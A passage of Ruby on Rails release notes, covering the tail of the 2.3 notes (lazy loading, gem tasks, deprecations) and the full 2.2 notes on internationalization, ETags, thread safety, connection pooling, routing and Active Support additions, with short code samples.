Quite a bit of work was done to make sure that bits of Rails (and its dependencies) are only brought into memory when they're actually needed. The core frameworks - Active Support, Active Record, Action Controller, Action Mailer and Action View - are now using autoload to lazy-load their individual classes. This work should help keep the memory footprint down and improve overall Rails performance.

You can also specify (by using the new preload_frameworks option) whether the core libraries should be autoloaded at startup. This defaults to false so that Rails autoloads itself piece-by-piece, but there are some circumstances where you still need to bring in everything at once - Passenger and JRuby both want to see all of Rails loaded together.

8.5 rake gem Task Rewrite

The internals of the various rake gem tasks have been substantially revised, to make the system work better for a variety of cases. The gem system now knows the difference between development and runtime dependencies, has a more robust unpacking system, gives better information when querying for the status of gems, and is less prone to "chicken and egg" dependency issues when you're bringing things up from scratch. There are also fixes for using gem commands under JRuby and for dependencies that try to bring in external copies of gems that are already vendored.

- Lead Contributor: David Dollar

8.6 Other Railties Changes

- The instructions for updating a CI server to build Rails have been updated and expanded.

- Internal Rails testing has been switched from Test::Unit::TestCase to ActiveSupport::TestCase, and the Rails core requires Mocha to test.

- The default environment.rb file has been decluttered.

- The dbconsole script now lets you use an all-numeric password without crashing.

- Rails.root now returns a Pathname object, which means you can use it directly with the join method to clean up existing code that uses File.join.

- Various files in /public that deal with CGI and FCGI dispatching are no longer generated in every Rails application by default (you can still get them if you need them by adding --with-dispatchers when you run the rails command, or add them later with rake rails:update:generate_dispatchers).

- Rails Guides have been converted from AsciiDoc to Textile markup.

- Scaffolded views and controllers have been cleaned up a bit.

- script/server now accepts a --path argument to mount a Rails application from a specific path.

- If any configured gems are missing, the gem rake tasks will skip loading much of the environment. This should solve many of the "chicken-and-egg" problems where rake gems:install couldn't run because gems were missing.

- Gems are now unpacked exactly once. This fixes issues with gems (hoe, for instance) which are packed with read-only permissions on the files.

9 Deprecated

A few pieces of older code are deprecated in this release:

- If you're one of the (fairly rare) Rails developers who deploys in a fashion that depends on the inspector, reaper, and spawner scripts, you'll need to know that those scripts are no longer included in core Rails. If you need them, you'll be able to pick up copies via the irs_process_scripts plugin.

- render_component goes from "deprecated" to "nonexistent" in Rails 2.3. If you still need it, you can install the render_component plugin.

- Support for Rails components has been removed.

- If you were one of the people who got used to running script/performance/request to look at performance based on integration tests, you need to learn a new trick: that script has been removed from core Rails now. There's a new request_profiler plugin that you can install to get the exact same functionality back.

- ActionController::Base#session_enabled? is deprecated because sessions are lazy-loaded now.

- The :digest and :secret options to protect_from_forgery are deprecated and have no effect.

- Some integration test helpers have been removed. response.headers["Status"] and headers["Status"] will no longer return anything. Rack does not allow "Status" in its return headers. However you can still use the status and status_message helpers. response.headers["cookie"] and headers["cookie"] will no longer return any CGI cookies. You can inspect headers["Set-Cookie"] to see the raw cookie header or use the cookies helper to get a hash of the cookies sent to the client.

- formatted_polymorphic_url is deprecated. Use polymorphic_url with :format instead.

- The :http_only option in ActionController::Response#set_cookie has been renamed to :httponly.

- The :connector and :skip_last_comma options of to_sentence have been replaced by :words_connnector, :two_words_connector, and :last_word_connector options.

- Posting a multipart form with an empty file_field control used to submit an empty string to the controller. Now it submits a nil, due to differences between Rack's multipart parser and the old Rails one.

10 Credits

Release notes compiled by Mike Gunderloy. This version of the Rails 2.3 release notes was compiled based on RC2 of Rails 2.3.

Ruby on Rails 2.2 Release Notes — Ruby...

1 Infrastructure

Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.

1.1 Internationalization

Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).

- Lead Contributors: Rails i18 Team

- More information :

- Official Rails i18 website

- Finally. Ruby on Rails gets internationalized

- Localizing Rails : Demo application

1.2 Compatibility with Ruby 1.9 and JRuby

Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.

2 Documentation

The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the Ruby on Rails Guides project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:

- Getting Started with Rails

- Rails Database Migrations

- Active Record Associations

- Active Record Query Interface

- Layouts and Rendering in Rails

- Action View Form Helpers

- Rails Routing from the Outside In

- Action Controller Overview

- Rails Caching

- A Guide to Testing Rails Applications

- Securing Rails Applications

- Debugging Rails Applications

- Performance Testing Rails Applications

- The Basics of Creating Rails Plugins

All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.

If you want to generate these guides locally, inside your application:

rake doc:guides

This will put the guides inside Rails.root/doc/guides and you may start surfing straight away by opening Rails.root/doc/guides/index.html in your favourite browser.

- Lead Contributors: Rails Documentation Team

- Major contributions from Xavier Noria and Hongli Lai.

- More information:

- Rails Guides hackfest

- Help improve Rails documentation on Git branch

3 Better integration with HTTP : Out of the box ETag support

Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.

class ArticlesController < ApplicationController
def show_with_respond_to_block
@article = Article.find(params[:id])

# If the request sends headers that differs from the options provided to stale?, then
# the request is indeed stale and the respond_to block is triggered (and the options
# to the stale? call is set on the response).
#
# If the request headers match, then the request is fresh and the respond_to block is
# not triggered. Instead the default render will occur, which will check the last-modified
# and etag headers and conclude that it only needs to send a "304 Not Modified" instead
# of rendering the template.
if stale?(:last_modified => @article.published_at.utc, :etag => @article)
respond_to do |wants|
# normal response processing
end
end
end

def show_with_implied_render
@article = Article.find(params[:id])

# Sets the response headers and checks them against the request, if the request is stale
# (i.e. no match of either etag or last-modified), then the default render of the template happens.
# If the request is fresh, then the default render will return a "304 Not Modified"
# instead of rendering the template.
fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
end
end

4 Thread Safety

The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.

To enable multithreaded dispatching in production mode of your application, add the following line in your config/environments/production.rb:

config.threadsafe!

- More information :

- Thread safety for your Rails

- Thread safety project announcement

- Q/A: What Thread-safe Rails Means

5 Active Record

There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.

5.1 Transactional Migrations

Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by rake db:migrate:redo after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.

- Lead Contributor: Adam Wiggins

- More information:

- DDL Transactions

- A major milestone for DB2 on Rails

5.2 Connection Pooling

Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a pool key to your database.yml to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a wait_timeout that defaults to 5 seconds before giving up. ActiveRecord::Base.connection_pool gives you direct access to the pool if you need it.

development:
adapter: mysql
username: root
database: sample_development
pool: 10
wait_timeout: 10

- Lead Contributor: Nick Sieger

- More information:

- What's New in Edge Rails: Connection Pools

5.3 Hashes for Join Table Conditions

You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.

class Photo < ActiveRecord::Base
belongs_to :product
end

class Product < ActiveRecord::Base
has_many :photos
end

# Get all products with copyright-free photos:
Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})

- More information:

- What's New in Edge Rails: Easy Join Table Conditions

5.4 New Dynamic Finders

Two new sets of methods have been added to Active Record's dynamic finders family.

5.4.1 find_last_by_attribute

The find_last_by_attribute method is equivalent to Model.last(:conditions => {:attribute => value})

# Get the last user who signed up from London
User.find_last_by_city('London')

- Lead Contributor: Emilio Tagua

5.4.2 find_by_attribute!

The new bang! version of find_by_attribute! is equivalent to Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound Instead of returning nil if it can't find a matching record, this method will raise an exception if it cannot find a match.

# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
User.find_by_name!('Moby')

- Lead Contributor: Josh Susser

5.5 Associations Respect Private/Protected Scope

Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) @user.account.private_method would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use @user.account.send(:private_method) (or make the method public instead of private or protected). Please note that if you're overriding method_missing, you should also override respond_to to match the behavior in order for associations to function normally.

- Lead Contributor: Adam Milligan

- More information:

- Rails 2.2 Change: Private Methods on Association Proxies are Private

5.6 Other Active Record Changes

- rake db:migrate:redo now accepts an optional VERSION to target that specific migration to redo

- Set config.active_record.timestamped_migrations = false to have migrations with numeric prefix instead of UTC timestamp.

- Counter cache columns (for associations declared with :counter_cache => true) do not need to be initialized to zero any longer.

- ActiveRecord::Base.human_name for an internationalization-aware humane translation of model names

6 Action Controller

On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.

6.1 Shallow Route Nesting

Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.

map.resources :publishers, :shallow => true do |publisher|
publisher.resources :magazines do |magazine|
magazine.resources :photos
end
end

This will enable recognition of (among others) these routes:

/publishers/1           ==> publisher_path(1)
/publishers/1/magazines ==> publisher_magazines_path(1)
/magazines/2            ==> magazine_path(2)
/magazines/2/photos     ==> magazines_photos_path(2)
/photos/3               ==> photo_path(3)

- Lead Contributor: S. Brent Faulkner

- More information:

- Rails Routing from the Outside In

- What's New in Edge Rails: Shallow Routes

6.2 Method Arrays for Member or Collection Routes

You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:

map.resources :photos, :collection => { :search => [:get, :post] }

- Lead Contributor: Brennan Dunn

6.3 Resources With Specific Actions

By default, when you use map.resources to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the :only and :except options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special :all or :none options. These options are inherited by nested resources.

map.resources :photos, :only => [:index, :show]
map.resources :products, :except => :destroy

- Lead Contributor: Tom Stuart

6.4 Other Action Controller Changes

- You can now easily show a custom error page for exceptions raised while routing a request.

- The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as /customers/1.xml) to indicate the format that you want. If you need the Accept headers, you can turn them back on with config.action_controller.use_accept_header = true.

- Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds

- Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.

- redirect_to now fully supports URI schemes (so, for example, you can redirect to a svn`ssh: URI).

- render now supports a :js option to render plain vanilla JavaScript with the right mime type.

- Request forgery protection has been tightened up to apply to HTML-formatted content requests only.

- Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling polymorphic_path([@project, @date, @area]) with a nil date will give you project_area_path.

7 Action View

- javascript_include_tag and stylesheet_link_tag support a new :recursive option to be used along with :all, so that you can load an entire tree of files with a single line of code.

- The included Prototype JavaScript library has been upgraded to version 1.6.0.3.

- RJS#page.reload to reload the browser's current location via JavaScript

- The atom_feed helper now takes an :instruct option to let you insert XML processing instructions.

8 Action Mailer

Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the CustomerMailer class expects to use layouts/customer_mailer.html.erb.

- More information:

- What's New in Edge Rails: Mailer Layouts

Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.

9 Active Support

Active Support now offers built-in memoization for Rails applications, the each_with_object method, prefix support on delegates, and various other new utility methods.

9.1 Memoization

Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:

def full_name
@full_name ||= "#{first_name} #{last_name}"
end

Memoization lets you handle this task in a declarative fashion:

extend ActiveSupport::Memoizable

def full_name
"#{first_name} #{last_name}"
end
memoize :full_name

Other features of memoization include unmemoize, unmemoize_all, and memoize_all to turn memoization on or off.

- Lead Contributor: Josh Peek

- More information:

- What's New in Edge Rails: Easy Memoization

- Memo-what? A Guide to Memoization

9.2 each_with_object

The each_with_object method provides an alternative to inject, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.

%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } # => {'foo' => 'FOO', 'bar' => 'BAR'}

Lead Contributor: Adam Keys

9.3 Delegates With Prefixes

If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:

class Vendor < ActiveRecord::Base
has_one :account
delegate :email, :password, :to => :account, :prefix => true
end

This will produce delegated methods vendor#account_email and vendor#account_password. You can also specify a custom prefix:

class Vendor < ActiveRecord::Base
has_one :account
delegate :email, :password, :to => :account, :prefix => :owner
end

This will produce delegated methods vendor#owner_email and vendor#owner_password.

Lead Contributor: Daniel Schierbeck

9.4 Other Active Support Changes

- Extensive updates to ActiveSupport::Multibyte, including Ruby 1.9 compatibility fixes.

- The addition of ActiveSupport::Rescuable allows any class to mix in the rescue_from syntax.

- past?, today? and future? for Date and Time classes to facilitate date/time comparisons.

- Array#second through Array#fifth as aliases for Array#[1] through Array#[4]

- Enumerable#many? to encapsulate collection.size > 1

- Inflector#parameterize produces a URL-ready version of its input, for use in to_param.

- Time#advance recognizes fractional days and weeks, so you can do 1.7.weeks.ago, 1.5.hours.since, and so on.

- The included TzInfo library has been upgraded to version 0.3.12.

- ActiveSupport::StringInquirer gives you a pretty way to test for equality in strings: ActiveSupport::StringInquirer.new("abc").abc? => true

10 Railties

In Railties (the core code of Rails itself) the biggest changes are in the config.gems mechanism.

10.1 config.gems

To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in /vendor/gems. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:

- config.gem _gem_name_ in your config/environment.rb file

- rake gems to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen)

- rake gems:install to install missing gems to the computer

- rake gems:unpack to place a copy of the required gems into /vendor/gems

- rake gems:unpack:dependencies to get copies of the required gems and their dependencies into /vendor/gems

- rake gems:build to build any missing native extensions

- rake gems:refresh_specs to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them

You can unpack or install a single gem by specifying GEM=_gem_name_ on the command line.

- Lead Contributor: Matt Jones

- More information:

- What's New in Edge Rails: Gem Dependencies

- Rails 2.1.2 and 2.2RC1: Update Your RubyGems

- Detailed discussion on Lighthouse

10.2 Other Railties Changes

- If you're a fan of the Thin web server, you'll be happy to know that script/server now supports Thin directly.

- script/plugin install &lt;plugin&gt; -r &lt;revision&gt; now works with git-based as well as svn-based plugins.

- script/console now supports a --debugger option

- Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source

- rake notes:custom ANNOTATION=MYFLAG lets you list out custom annotations.

- Wrapped Rails.env in StringInquirer so you can do Rails.env.development?

- To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.

11 Deprecated

A few pieces of older code are deprecated in this release:

- Rails::SecretKeyGenerator has been replaced by ActiveSupport::SecureRandom

- render_component is deprecated. There's a render_components plugin available if you need this functionality.

- Implicit local assignments when rendering partials has been deprecated.

def partial_with_implicit_local_assignment
@customer = Customer.new("Marcel")
render :partial => "customer"
end

Previously the above code made available a local variable called customer inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now.

- country_select has been removed. See the deprecation page for more information and a plugin replacement.

- ActiveRecord::Base.allow_concurrency no longer has any effect.

- ActiveRecord::Errors.default_error_messages has been deprecated in favor of I18n.translate('activerecord.errors.messages')

- The %s and %d interpolation syntax for internationalization is deprecated.

- String#chars has been deprecated in favor of String#mb_chars.

- Durations of fractional months or fractional years are deprecated. Use Ruby's core Date and Time class arithmetic instead.

- Request#relative_url_root is deprecated. Use ActionController::Base.relative_url_root instead.

12 Credits

Release notes compiled by Mike Gunderloy